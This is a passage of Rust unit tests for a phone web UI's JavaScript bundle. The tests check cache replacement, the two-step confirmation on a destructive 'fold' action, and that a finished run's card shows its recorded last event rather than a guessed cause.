7855            .get_with("/app.js", &[("if-none-match", "\"0.0.1-1\"")])
7856            .await;
7857        assert_eq!(stale.status, 200, "an older build must be replaced");
7858        assert!(stale.body.contains("renderRunActions"));
7859    }
7860
7861    #[test]
7862    fn the_deck_never_sends_the_operator_to_a_terminal() {
7863        // The whole point of the phone UI is that a terminal is not needed.
7864        // The delete control used to answer with "Run `magi fold` first."
7865        assert!(
7866            !APP_JS.contains("Run `magi fold` first"),
7867            "the deck must offer the fold, not prescribe a shell command"
7868        );
7869        assert!(APP_JS.contains("foldRun:"));
7870        assert!(APP_JS.contains("resumeRun:"));
7871        assert!(APP_JS.contains("renderRunActions"));
7872
7873        // Folding is destructive and armed in two steps, like deleting.
7874        assert!(APP_JS.contains("armedFold"));
7875        assert!(APP_JS.contains("Yes, fold worktrees"));
7876
7877        // And the copy has to say that the two actions are opposites, because
7878        // folding throws away exactly what a resume would continue from.
7879        assert!(APP_JS.contains("can no longer be resumed"));
7880    }
7881
7882    #[test]
7883    fn a_finished_run_explains_itself_with_its_own_last_line() {
7884        // The deck used to answer "why did this stop?" with a sentence chosen
7885        // by status alone. Run e633 stalled because two judges answered with
7886        // the wrong JSON shape and its card said "The panel collapsed on
7887        // agent quota" - with `quota: []` in the record and a quota-loss
7888        // counter right above it that correctly said nothing.
7889        assert!(
7890            !APP_JS.contains("collapsed on agent quota"),
7891            "a stall must not be explained by a cause the deck did not check"
7892        );
7893        assert!(
7894            !APP_JS.contains("Review rounds ran out with findings still open, or the gate failed"),
7895            "and a block must not offer a guess with an `or` in it"
7896        );
7897
7898        // The reason it does have is `run.event`, which must reach finished
7899        // runs: gating it on movement hid the recorded truth at the one moment
7900        // the operator is reading the card to find out what happened.
7901        assert!(
7902            APP_JS.contains("setText(r.event, run.event || \"\")"),
7903            "the run's last line is rendered unconditionally"
7904        );
7905        assert!(
7906            !APP_JS.contains("moving && run.event"),
7907            "and never gated on the run still moving"
7908        );
7909
7910        // Quota keeps its own counter, fed by the number actually recorded.
7911        assert!(APP_JS.contains("lost to quota"));
7912    }
7913}